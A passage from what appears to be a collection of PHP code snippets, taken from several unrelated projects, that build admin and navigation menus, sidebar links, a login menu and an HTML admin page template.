array($txt['spider_logs']),\n\t\t\t\t\t\t\t'spiders' => array($txt['spiders']),\n\t\t\t\t\t\t\t'settings' => array($txt['settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'paidsubscribe' => array(\n\t\t\t\t\t\t'label' => $txt['paid_subscriptions'],\n\t\t\t\t\t\t'enabled' => featureEnabled('ps'),\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManagePaid',\n\t\t\t\t\t\t'class' => 'i-credit i-admin',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'permission' => 'admin_forum',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'view' => array($txt['paid_subs_view']),\n\t\t\t\t\t\t\t'settings' => array($txt['settings']),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t'maintenance' => array(\n\t\t\t\t'title' => $txt['admin_maintenance'],\n\t\t\t\t'permission' => array('admin_forum'),\n\t\t\t\t'areas' => array(\n\t\t\t\t\t'maintain' => array(\n\t\t\t\t\t\t'label' => $txt['maintain_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\Maintenance',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-cog i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'routine' => array($txt['maintain_sub_routine'], 'admin_forum'),\n\t\t\t\t\t\t\t'database' => array($txt['maintain_sub_database'], 'admin_forum'),\n\t\t\t\t\t\t\t'members' => array($txt['maintain_sub_members'], 'admin_forum'),\n\t\t\t\t\t\t\t'topics' => array($txt['maintain_sub_topics'], 'admin_forum'),\n\t\t\t\t\t\t\t'hooks' => array($txt['maintain_sub_hooks_list'], 'admin_forum'),\n\t\t\t\t\t\t\t'attachments' => array($txt['maintain_sub_attachments'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'logs' => array(\n\t\t\t\t\t\t'label' => $txt['logs'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\AdminLog',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-comments i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'errorlog' => array($txt['errlog'], 'admin_forum', 'enabled' => !empty($modSettings['enableErrorLogging']), 'url' => getUrl('admin', ['action' => 'admin', 'area' => 'logs', 'sa' => 'errorlog', 'desc'])),\n\t\t\t\t\t\t\t'adminlog' => array($txt['admin_log'], 'admin_forum', 'enabled' => featureEnabled('ml')),\n\t\t\t\t\t\t\t'modlog' => array($txt['moderation_log'], 'admin_forum', 'enabled' => featureEnabled('ml')),\n\t\t\t\t\t\t\t'banlog' => array($txt['ban_log'], 'manage_bans'),\n\t\t\t\t\t\t\t'spiderlog' => array($txt['spider_logs'], 'admin_forum', 'enabled' => featureEnabled('sp')),\n\t\t\t\t\t\t\t'tasklog' => array($txt['scheduled_log'], 'admin_forum'),\n\t\t\t\t\t\t\t'pruning' => array($txt['pruning_title'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'scheduledtasks' => array(\n\t\t\t\t\t\t'label' => $txt['maintain_tasks'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageScheduledTasks',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-calendar i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'tasks' => array($txt['maintain_tasks'], 'admin_forum'),\n\t\t\t\t\t\t\t'tasklog' => array($txt['scheduled_log'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'mailqueue' => array(\n\t\t\t\t\t\t'label' => $txt['mailqueue_title'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\ManageMail',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-envelope-blank i-admin',\n\t\t\t\t\t\t'subsections' => array(\n\t\t\t\t\t\t\t'browse' => array($txt['mailqueue_browse'], 'admin_forum'),\n\t\t\t\t\t\t\t'settings' => array($txt['mailqueue_settings'], 'admin_forum'),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'reports' => array(\n\t\t\t\t\t\t'enabled' => featureEnabled('rg'),\n\t\t\t\t\t\t'label' => $txt['generate_reports'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\Reports',\n\t\t\t\t\t\t'function' => 'action_index',\n\t\t\t\t\t\t'class' => 'i-pie-chart i-admin',\n\t\t\t\t\t),\n\t\t\t\t\t'repairboards' => array(\n\t\t\t\t\t\t'label' => $txt['admin_repair'],\n\t\t\t\t\t\t'controller' => '\\\\ElkArte\\\\AdminController\\\\RepairBoards',\n\t\t\t\t\t\t'function' => 'action_repairboards',\n\t\t\t\t\t\t'select' => 'maintain',\n\t\t\t\t\t\t'hidden' => true,\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\n\t\t$this->_events->trigger('addMenu', array('admin_areas' => &$admin_areas));\n\n\t\t// Any files to include for administration?\n\t\tcall_integration_include_hook('integrate_admin_include');\n\n\t\t$menuOptions = array(\n\t\t\t'hook' => 'admin',\n\t\t);\n\n\t\t// Actually create the menu!\n\t\t$menu = new Menu();\n\t\t$menu->addMenuData($admin_areas);\n\t\t$menu->addOptions($menuOptions);\n\t\t$admin_include_data = $menu->prepareMenu();\n\t\t$menu->setContext();\n\t\tunset($admin_areas);\n\n\t\t// Make a note of the Unique ID for this menu.\n\t\t$context['admin_menu_id'] = $context['max_menu_id'];\n\t\t$context['admin_menu_name'] = 'menu_data_' . $context['admin_menu_id'];\n\n\t\t// Where in the admin are we?\n\t\t$context['admin_area'] = $admin_include_data['current_area'];\n\n\t\treturn $admin_include_data;\n\t}", "public function getMenu();", "public function menu_perfil(){\n\t\t$this->menu_del_dia();\n\n\t\t$return = '<ul class=\"nav nav-sidebar\">';\n\t\tforeach($this->menu_del_dia as $key => $value){\n\t\t//menus que se muestran\n\t\t\tif(!empty($value['show'])){\n\t\t\t\tif ($value['show'] == 'true') {\n\t\t\t\t\t$return .= '<li>';\n\t\t\t\t\t$return .= '<a href=\"'.$value['link'].'\"><i class=\"icon-magic-wand\"></i><span class=\"text\">'.$value['text'].'</span></a>';\t\n\t\t\t\t\t$return .= '</li>';\n\t\t\t\t}\n\t\t\t//menus desplegables\t\n\t\t\t}else if (is_array($value)){\n\t\t\t\t$interlist = '';\n\t\t\t\t//var_dump($value);\n\t\t\t\tforeach ($value as $key2 => $value2) {\n\t\t\t\t\t$title = $value2['title'];\t\n\t\t\t\t\t//var_dump($title);\t\t\t\t\t\n\t\t\t\t\t$titulo = '<li><a href=\"#\"><i class=\"icon-magic-wand\"></i><span class=\"text\">'.$title.'</span><span class=\"indicator\"></span></a>';;\n\t\t\t\t\t$interlist .= '<li><a href=\"'.$value2['link'].'\"><i class=\"icon-magic-wand\"></i><span class=\"text\">'.$value2['text'].'</span></a></li>';\t\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\t$return .= $titulo;\n\t\t\t\t$return .= '<ul>';\n\t\t\t\t$return .= $interlist;\n\t\t\t\t$return .= '</ul>';\n\t\t\t\t$return .= '</li>';\n\n\t\t\t}\t\n\t\t}\t\n\t\t$return .= '</ul>';\n\n\n\t\t// $return .= '</ul>';\n\t\treturn $return;\t \n\t}", "function tmpModuleLeft() {\n if(function_exists('appModuleLeft')) {\n $continue=appModuleLeft();\n if(!$continue) return;\n }\n \n //echo \"<br/>\";\n if (!LoggedIn()) return;\n\n // Only display menu if \n if(OptionGet('MENULEFT','Y')=='Y') { \n $module=SessionGet(\"AGMENU_MODULE\");\n $AGMENU=SessionGet(\"AGMENU\");\n $kount=0;\n \n if(isset($AGMENU[$module])) {\n $desc=$AGMENU[$module]['description'];\n \n echo \"<div class=\\\"moduletable\\\"><h3>$desc</h3></div>\";\n echo \"<table width=\\\"100%\\\">\";\n foreach($AGMENU[$module]['items'] as $key=>$info) {\n $hExtra=' tabindex=\"'.hpTabIndexNext(100).'\"';\n // We may make the first item the focused item if nothing else\n // has been picked yet. This code runs when rendering is going on\n // and the class-specific biz code has all run already, so it will\n // not override any business-specific focus setting\n if(vgfGet('HTML_focus')=='') {\n $hExtra.=' ID=\"FIRSTSPLITMENU\" NAME=\"FIRSTSPLITMENU\" ';\n vgfSet('HTML_focus','FIRSTSPLITMENU');\n }\n \n $kount++;\n $d='?gp_page='.$key;\n $h=hLink(\"mainlevel\",$info['description'],$d,$hExtra);\n echo \"\\n<tr><td class=\\\"leftcol\\\">$h</td></tr>\";\n \n // Possibly two more links \n if(ArraySafe($info,'linknew')=='Y') {\n $hx=' tabindex=\"'.hpTabIndexNext(100).'\" style=\"margin-left:30px\"';\n $h=hLink(\"mainlevel\",'New',$d.'&gp_mode=ins',$hx);\n echo \"\\n<tr><td class=\\\"leftcol\\\">$h</td></tr>\";\n }\n if(ArraySafe($info,'linksearch')=='Y') {\n $hx=' tabindex=\"'.hpTabIndexNext(100).'\" style=\"margin-left:30px\"';\n $h=hLink(\"mainlevel\",'Search',$d.'&gp_mode=search',$hx);\n echo \"\\n<tr><td class=\\\"leftcol\\\">$h</td></tr>\";\n }\n }\n echo \"</table>\";\n }\n }\n //while ($kount++ < 30) { echo \"<br>\"; }\n}", "public function getManageMenu(){\n $menu_content = array();\n $index_admin = $this->createUrl('admin/index');\n $list_admin = $this->createUrl('admin/list');\n $create_admin = $this->createUrl('admin/create');\n $manage_admin = $this->createUrl('admin/admin');\n $backup_info = $this->createUrl('backup/BackupToExel');\n $update_sites = $this->createUrl('site/update');\n $view_sites = $this->createUrl('site/view');\n\n if (Admin::model()->isSuperAdmin()) {\n $menu_content = array( \n array('label'=>Yii::t('common','List Students'), 'url'=>array('index')),\n array('label'=>Yii::t('common','Create Student'), 'url'=>array('create')),\n// array('label'=>Yii::t('common','Update Student'), 'url'=>array('Update')),\n// array('label'=>Yii::t('common','Delete Student'), 'url'=>array('Delete')),\n// array('label'=>Yii::t('common','Manage Students'), 'url'=>array('admin')),\n array('label'=>Yii::t('common','Backup StudentInfo'), 'url'=>$backup_info),\n array('label'=>'------------------------------'),\n\n array('label'=>Yii::t('common','Admins Home'), 'url'=>$index_admin),\n array('label'=>Yii::t('common','List Admins'), 'url'=>$list_admin),\n array('label'=>Yii::t('common','Create Admin'), 'url'=>$create_admin),\n array('label'=>Yii::t('common','Manage Admins'), 'url'=>$manage_admin),\n array('label'=>'------------------------------'),\n \n array('label'=>Yii::t('common','Update Site Desc'), 'url'=>$update_sites),\n array('label'=>Yii::t('common','View Site Desc'), 'url'=>$view_sites),\n ); \n }elseif (Admin::model()->isWAdmin()) {\n $menu_content = array(\n array('label'=>Yii::t('common','List Students'), 'url'=>array('index')),\n array('label'=>Yii::t('common','Create Student'), 'url'=>array('create')),\n// array('label'=>Yii::t('common','Manage Students'), 'url'=>array('admin')),\n );\n } else {\n $menu_content = array(\n array('label'=>Yii::t('common','List Students'), 'url'=>array('index')),\n ); \n }\n\n return $menu_content;\n }", "function login_menu() {\n $asf = CAsdf::Instance();\n if($asf->user['isAuthenticated']) {\n $items = \"<a href='\" . create_url('user/profile') . \"'><img class='gravatar' src='\" . get_gravatar(20) . \"' alt=''> \" . $asf->user['acronym'] . \"</a> \";\n if($asf->user['hasRoleAdministrator']) {\n $items .= \"<a href='\" . create_url('acp') . \"'>acp</a> \";\n }\n $items .= \"<a href='\" . create_url('user/logout') . \"'>logout</a> \";\n } else {\n $items = \"<a href='\" . create_url('user/login') . \"'>login</a> \";\n }\n return \"<nav id='login-menu'>$items</nav>\";\n}", "public static function defaultMenu() {\n //construct the menu items\n $menu = '<ul class=\"nav pull-right\">\n <li>' . Html::a('<i class=\"icon-off icon-black\"></i> ' . Yii::t(Yii::app()->language,\n 'Login'), array(\n '/site/login')) . '</li>\n </ul>';\n return $menu;\n }", "function admin_template($content=\"\",$titlebar=\"\",$titlepage=\"\",$user=\"\",$menu=\"\",$plugin=\"\"){\n \n $titlebar = ($titlebar!=\"\") ? $titlebar : \"\";\n\t$titlepage = ($titlepage!=\"\") ? $titlepage : \"\";\n $plugin\t = ($plugin!=\"\") ? $plugin : \"\";\n $menu\t = ($menu!=\"\") ? $menu : \"\";\n $content\t= ($content!=\"\") ? $content : \"\";\n\n \n$menu = '\n<div class=\"menu-bar header-sm-height\" data-pages-init=\\'horizontal-menu\\' data-hide-extra-li=\"0\">\n <a href=\"#\" class=\"btn-link toggle-sidebar hidden-lg-up pg pg-close\" data-toggle=\"horizontal-menu\">\n </a>\n <ul>\n <li class=\" active\">\n <a href=\"home.php\">Dashboard</a>\n </li>\n <li>\n <a href=\"list_member.php\"><span class=\"title\">Members</span></a>\n </li>\n <li>\n <a href=\"javascript:;\"><span class=\"title\">Products</span>\n <span class=\" arrow\"></span></a>\n <ul class=\"\">\n <li class=\"\">\n <a href=\"list_products.php\">List Products</a>\n </li>\n <li class=\"\">\n <a href=\"list_categories.php\">List Categories</a>\n </li>\n\t\t\t\t<li class=\"\">\n <a href=\"list_sub_categories.php\">Sub Categories</a>\n </li>\n \n \n </ul>\n </li>\n \n <li class=\"\">\n <a href=\"list_transaction.php\">List Transaction</a>\n </li>\n \n </li>\n\t\t\t<li>\n <a href=\"javascript:;\"><span class=\"title\">Pages</span>\n <span class=\" arrow\"></span></a>\n <ul class=\"\">\n <li class=\"\">\n <a href=\"about_us.php\">About Us</a>\n </li>\n <li class=\"\">\n <a href=\"production.php\">Production</a>\n </li>\n\t\t\t\t<li class=\"\">\n <a href=\"buyers_guide.php\">Buyers Guide</a>\n </li>\n\t\t\t\t<li class=\"\">\n <a href=\"custom_guide.php\">Custom Guide</a>\n </li>\n\t\t\t\t<li class=\"\">\n <a href=\"payment_guide.php\">Payment Guide</a>\n </li>\n </ul>\n </li>\n\t\t\t<li>\n <a href=\"list_contact_us.php\">Incoming Contact Us</a>\n </li>\n \n </ul>\n <a href=\"#\" class=\"search-link d-flex justify-content-between align-items-center hidden-lg-up\" data-toggle=\"search\">Tap here to search <i class=\"pg-search float-right\"></i></a>\n </div>\n';\n \n \n$template = '\n<!DOCTYPE html>\n<html>\n <head>\n <meta http-equiv=\"content-type\" content=\"text/html;charset=UTF-8\" />\n <meta charset=\"utf-8\" />\n <title>'.$titlebar.' Seagods Wetsuit</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no\" />\n <link rel=\"apple-touch-icon\" href=\"pages/ico/60.png\">\n <link rel=\"apple-touch-icon\" sizes=\"76x76\" href=\"pages/ico/76.png\">\n <link rel=\"apple-touch-icon\" sizes=\"120x120\" href=\"pages/ico/120.png\">\n <link rel=\"apple-touch-icon\" sizes=\"152x152\" href=\"pages/ico/152.png\">\n <link rel=\"icon\" type=\"image/x-icon\" href=\"favicon.ico\" />\n <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n <meta name=\"apple-touch-fullscreen\" content=\"yes\">\n <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"default\">\n <meta content=\"\" name=\"description\" />\n <meta content=\"\" name=\"author\" />\n <link href=\"assets/plugins/pace/pace-theme-flash.css\" rel=\"stylesheet\" type=\"text/css\" />\n <link href=\"assets/plugins/bootstrap/css/bootstrap.min.css\" rel=\"stylesheet\" type=\"text/css\" />\n <link href=\"assets/plugins/font-awesome/css/font-awesome.css\" rel=\"stylesheet\" type=\"text/css\" />\n <link href=\"assets/plugins/jquery-scrollbar/jquery.scrollbar.css\" rel=\"stylesheet\" type=\"text/css\" media=\"screen\" />\n <link href=\"assets/plugins/select2/css/select2.min.css\" rel=\"stylesheet\" type=\"text/css\" media=\"screen\" />\n <link href=\"assets/plugins/switchery/css/switchery.min.css\" rel=\"stylesheet\" type=\"text/css\" media=\"screen\" />\n <link href=\"pages/css/pages-icons.css\" rel=\"stylesheet\" type=\"text/css\">\n <link class=\"main-stylesheet\" href=\"pages/css/pages.css\" rel=\"stylesheet\" type=\"text/css\" />\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"assets/css/paging.css\">\n\t\n\n\t\n\n\t'.$plugin.'\n </head>\n <body class=\"fixed-header horizontal-menu horizontal-app-menu dashboard\">\n <!-- START HEADER -->\n <div class=\"header\">\n <div class=\"container\">\n <div class=\"header-inner header-md-height\">\n <a href=\"#\" class=\"btn-link toggle-sidebar hidden-lg-up pg pg-menu\" data-toggle=\"horizontal-menu\">\n </a>\n <div class=\"\">\n <a href=\"#\" class=\"search-link hidden-md-down\" data-toggle=\"search\"></a>\n </div>\n <div class=\"d-flex align-items-center\">\n <!-- START User Info-->\n <div class=\"pull-left p-r-10 fs-14 font-heading hidden-md-down\">\n <span class=\"semi-bold\">'.$user.'</span>\n </div>\n <div class=\"dropdown pull-right sm-m-r-5\">\n <button class=\"profile-dropdown-toggle\" type=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\">\n <span >\n <img src=\"assets/img/s-logo.png\" alt=\"\" width=\"32px\" >\n </span>\n </button>\n <div class=\"dropdown-menu dropdown-menu-right profile-dropdown\" role=\"menu\">\n <!--<a href=\"#\" class=\"dropdown-item\"><i class=\"pg-settings_small\"></i> Settings</a>\n <a href=\"#\" class=\"dropdown-item\"><i class=\"pg-outdent\"></i> Feedback</a>\n <a href=\"#\" class=\"dropdown-item\"><i class=\"pg-signals\"></i> Help</a>-->\n <a href=\"logout.php\" class=\"clearfix bg-master-lighter dropdown-item\">\n <span class=\"pull-left\">Logout</span>\n <span class=\"pull-right\"><i class=\"pg-power\"></i></span>\n </a>\n </div>\n </div>\n <!-- END User Info\n <a href=\"#\" class=\"header-icon pg pg-alt_menu btn-link m-l-10 sm-no-margin d-inline-block\" data-toggle=\"quickview\" data-toggle-element=\"#quickview\"></a>\n --></div>\n </div>\n <div class=\"header-inner justify-content-start header-lg-height title-bar\">\n <div class=\"brand inline align-self-end\">\n <img src=\"assets/img/s-logo.png\" style=\"width:35px;\" >\n </div>\n <h2 class=\"page-title align-self-end\">\n '.$titlepage.'\n </h2>\n </div>\n '.$menu.'\n </div>\n </div>\n\t\n\t<div class=\"page-container \">\n <!-- START PAGE CONTENT WRAPPER -->\n <div class=\"page-content-wrapper \">\n <!-- START PAGE CONTENT -->\n <div class=\"content sm-gutter\">\n <!-- START JUMBOTRON -->\n <div data-pages=\"parallax\">\n <div class=\" container no-padding container-fixed-lg\">\n <div class=\"inner\">\n <!-- START BREADCRUMB -->\n <ol class=\"breadcrumb\">\n <li class=\"breadcrumb-item\"><a href=\"home.php\">Home</a></li>\n <li class=\"breadcrumb-item active\">'.$titlepage.'</li>\n </ol>\n </div>\n </div>\n </div>\n\t\n '.$content.'\n\t\n\t<br><br>\n\t <div class=\" container container-fixed-lg footer\">\n <div class=\"copyright sm-text-center\">\n <p class=\"small no-margin pull-left sm-pull-reset\">\n <span class=\"hint-text\">SeaGods Administrator Page &copy; 2018 </span>\n <span class=\"font-montserrat\"></span>.\n <span class=\"hint-text\">All rights reserved. </span>\n <span class=\"sm-block\"><a href=\"#\" class=\"m-l-10 m-r-10\">Terms of use</a> <span class=\"muted\">|</span> <a href=\"#\" class=\"m-l-10\">Privacy Policy</a></span>\n </p>\n <p class=\"small no-margin pull-right sm-pull-reset\">\n Supported by <span class=\"hint-text\"> XtremeWeb Solution</span>\n </p>\n <div class=\"clearfix\"></div>\n </div>\n </div>\n <!-- END COPYRIGHT -->\n </div>\n <!-- END PAGE CONTENT WRAPPER -->\n </div>\n\t\n <!-- END PAGE CONTAINER -->\n <!--START QUICKVIEW -->\n <div id=\"quickview\" class=\"quickview-wrapper\" data-pages=\"quickview\">\n \n </div>\n \n \n <!-- END QUICKVIEW-->\n <!-- START OVERLAY -->\n <div class=\"overlay hide\" data-pages=\"search\">\n <!-- BEGIN Overlay Content !-->\n <div class=\"overlay-content has-results m-t-20\">\n <!-- BEGIN Overlay Header !-->\n <div class=\"container-fluid\">\n <!-- BEGIN Overlay Logo !\n <img class=\"overlay-brand\" src=\"assets/img/logo.png\" alt=\"logo\" data-src=\"assets/img/logo.png\" data-src-retina=\"assets/img/logo_2x.png\" width=\"78\" height=\"22\">\n <!-- END Overlay Logo !-->\n <!-- BEGIN Overlay Close !-->\n <a href=\"#\" class=\"close-icon-light overlay-close text-black fs-16\">\n <i class=\"pg-close\"></i>\n </a>\n <!-- END Overlay Close !-->\n </div>\n <!-- END Overlay Header !-->\n <div class=\"container-fluid\">\n <!-- BEGIN Overlay Controls !-->\n <input id=\"overlay-search\" class=\"no-border overlay-search bg-transparent\" placeholder=\"Search...\" autocomplete=\"off\" spellcheck=\"false\">\n <br>\n <div class=\"inline-block\">\n <div class=\"checkbox right\">\n <input id=\"checkboxn\" type=\"checkbox\" value=\"1\" checked=\"checked\">\n <label for=\"checkboxn\"><i class=\"fa fa-search\"></i> Search within page</label>\n </div>\n </div>\n <div class=\"inline-block m-l-10\">\n <p class=\"fs-13\">Press enter to search</p>\n </div>\n <!-- END Overlay Controls !-->\n </div>\n <!-- BEGIN Overlay Search Results, This part is for demo purpose, you can add anything you like !-->\n <div class=\"container-fluid\">\n <span>\n <strong>suggestions :</strong>\n </span>\n <span id=\"overlay-suggestions\"></span>\n <br>\n <div class=\"search-results m-t-40\">\n <p class=\"bold\">Pages Search Results</p>\n <div class=\"row\">\n <div class=\"col-md-6\">\n <!-- BEGIN Search Result Item !-->\n \n <!-- END Search Result Item !-->\n <!-- BEGIN Search Result Item !-->\n \n <!-- END Search Result Item !-->\n <!-- BEGIN Search Result Item !-->\n \n <!-- END Search Result Item !-->\n </div>\n \n </div>\n </div>\n </div>\n <!-- END Overlay Search Results !-->\n </div>\n <!-- END Overlay Content !-->\n </div>\n <!-- END OVERLAY -->\n <!-- BEGIN VENDOR JS -->\n <script src=\"assets/plugins/feather-icons/feather.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/pace/pace.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/jquery/jquery-1.11.1.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/modernizr.custom.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/jquery-ui/jquery-ui.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/tether/js/tether.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/bootstrap/js/bootstrap.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/jquery/jquery-easy.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/jquery-unveil/jquery.unveil.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/jquery-ios-list/jquery.ioslist.min.js\" type=\"text/javascript\"></script>\n <script src=\"assets/plugins/jquery-actual/jquery.actual.min.js\"></script>\n <script src=\"assets/plugins/jquery-scrollbar/jquery.scrollbar.min.js\"></script>\n <script type=\"text/javascript\" src=\"assets/plugins/select2/js/select2.full.min.js\"></script>\n <script type=\"text/javascript\" src=\"assets/plugins/classie/classie.js\"></script>\n <script src=\"assets/plugins/switchery/js/switchery.min.js\" type=\"text/javascript\"></script>\n <!-- END VENDOR JS -->\n <!-- BEGIN CORE TEMPLATE JS -->\n <script src=\"pages/js/pages.min.js\"></script>\n <!-- END CORE TEMPLATE JS -->\n <!-- BEGIN PAGE LEVEL JS -->\n <script src=\"assets/js/scripts.js\" type=\"text/javascript\"></script>\n\t\n\t \n </body>\n</html>\n\n\n';\n\nreturn $template;\n}", "function menu() {\n\t\tob_start();\n\t\tinclude('templates/menu.php');\n\t\t$output = ob_get_clean();\n\t\treturn $output;\n\t}", "function build_sidemenu_html()\n\t{\n\t\tglobal $userdata, $template, $db, $SID, $lang, $phpEx, $phpbb_root_path, $garage_config, $images, $board_config;\n\t\n\t\t$template->set_filenames(array(\n\t\t\t'menu' => 'garage_menu.tpl')\n\t\t);\n\n\t\t$user_id = $userdata['user_id'];\n\t\tif (preg_match(\"/MAIN/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$main_menu = append_sid(\"garage.$phpEx?mode=main\");\n\t\t\t$menu .= '<a href=\"' . $main_menu . '\"><img src=\"' . $images['garage_main_menu'] . '\" alt=\"'.$lang['Main_Menu'].'\" title=\"'.$lang['Main_Menu'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\tif (preg_match(\"/BROWSE/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$browse_garage = append_sid(\"garage.$phpEx?mode=browse\");\n\t\t\t$menu .= '<a href=\"' . $browse_garage . '\"><img src=\"' . $images['garage_browse'] . '\" alt=\"'.$lang['Browse_Garage'].'\" title=\"'.$lang['Browse_Garage'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\tif (preg_match(\"/SEARCH/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$search_garage = append_sid(\"garage.$phpEx?mode=search\");\n\t\t\t$menu .= '<a href=\"' . $search_garage . '\"><img src=\"' . $images['garage_search'] . '\" alt=\"'.$lang['Search_Garage'].'\" title=\"'.$lang['Search_Garage'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\tif (preg_match(\"/INSURANCEREVIEW/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$insurance = append_sid(\"garage.$phpEx?mode=view_insurance_business\");\n\t\t\t$menu .= '<a href=\"' . $insurance . '\"><img src=\"' . $images['garage_insurance_review'] . '\" alt=\"'.$lang['Insurance_Summary'].'\" title=\"'.$lang['Insurance_Summary'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\tif (preg_match(\"/GARAGEREVIEW/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$garage = append_sid(\"garage.$phpEx?mode=view_garage_business\");\n\t\t\t$menu .= '<a href=\"' . $garage . '\"><img src=\"' . $images['garage_garage_review'] . '\" alt=\"'.$lang['Garage_Review'].'\" title=\"'.$lang['Garage_Review'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\tif (preg_match(\"/SHOPREVIEW/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$garage = append_sid(\"garage.$phpEx?mode=view_shop_business\");\n\t\t\t$menu .= '<a href=\"' . $garage . '\"><img src=\"' . $images['garage_shop_review'] . '\" alt=\"'.$lang['Shop_Review'].'\" title=\"'.$lang['Shop_Review'].'\" border=\"0\" /></a><br />';\n\t\t}\n\n\t\tif (preg_match(\"/QUARTERMILE/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$garage = append_sid(\"garage.$phpEx?mode=quartermile\");\n\t\t\t$menu .= '<a href=\"' . $garage . '\"><img src=\"' . $images['garage_quartermile_table'] . '\" alt=\"'.$lang['Quartermile_Table'].'\" title=\"'.$lang['Quartermile_Table'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\tif (preg_match(\"/ROLLINGROAD/\",$garage_config['menu_selection']))\n\t\t{\n\t\t\t$garage = append_sid(\"garage.$phpEx?mode=rollingroad\");\n\t\t\t$menu .= '<a href=\"' . $garage . '\"><img src=\"' . $images['garage_rollingroad_table'] . '\" alt=\"'.$lang['Rollingroad_Table'].'\" title=\"'.$lang['Rollingroad_Table'].'\" border=\"0\" /></a><br />';\n\t\t}\n\t\t$create_vehicle = append_sid(\"garage.$phpEx?mode=create_vehicle\");\n\t\t$create_vehicle_link = '<a href=\"' . $create_vehicle . '\"><img src=\"' . $images['garage_create_vehicle'] . '\" alt=\"'.$lang['Create_Vehicle'].'\" title=\"'.$lang['Create_Vehicle'].'\" border=\"0\" /></a>';\n\n\t\t$template->assign_vars(array(\n\t\t\t'L_MENU' => $lang['Menu'],\n\t\t\t'L_OWNER' => $lang['Owner'],\n\t\t \t'L_MY_VEHICLES' => $lang['My_Vehicles'],\n \t\t\t'L_LATEST_UPDATED' => $lang['Latest_Updated'],\n\t\t\t'L_WELCOME' => $lang['Welcome'],\n\t\t\t'L_WELCOME_TEXT' => $lang['Welcome_Text'],\n\t\t\t'L_TOTAL_VEHICLES' => $lang['Total_Vehicles'],\n\t\t\t'L_TOTAL_MODIFICATIONS' => $lang['Total_Modifications'],\n\t\t\t'L_TOTAL_COMMENTS' => $lang['Total_Comments'],\n\t\t\t'L_TOTAL_VIEWS' => $lang['Total_Views'],\n\t\t\t'MENU' => $menu,\n\t \t\t'L_CREATE_VEHICLE' => $create_vehicle_link)\n\t\t);\n\n\t\tif ( $userdata['session_logged_in'] )\n\t\t{\n\t\t\t$template->assign_block_vars('show_vehicles', array());\n\n\t\t\t$sql = \"SELECT g.id, CONCAT_WS(' ', g.made_year, makes.make, models.model) AS vehicle\n \t\t\t\tFROM \" . GARAGE_TABLE . \" AS g \n\t \t\t\tLEFT JOIN \" . GARAGE_MAKES_TABLE . \" AS makes ON g.make_id = makes.id \n\t\t \t\tLEFT JOIN \" . GARAGE_MODELS_TABLE . \" AS models ON g.model_id = models.id \n\t \t\tWHERE g.member_id = $user_id\n \t\t\tORDER BY g.id ASC\";\n\n\t\t\tif( !($result = $db->sql_query($sql)) )\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not query users', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\n\t\t\twhile ( $user_vehicle = $db->sql_fetchrow($result) )\n\t\t\t{\n\t\t\t\t$cid = $user_vehicle['id'];\n\t\t \t\t$template->assign_block_vars('show_vehicles.user_vehicles', array(\n \t\t\t\t\t'U_VIEW_VEHICLE' => 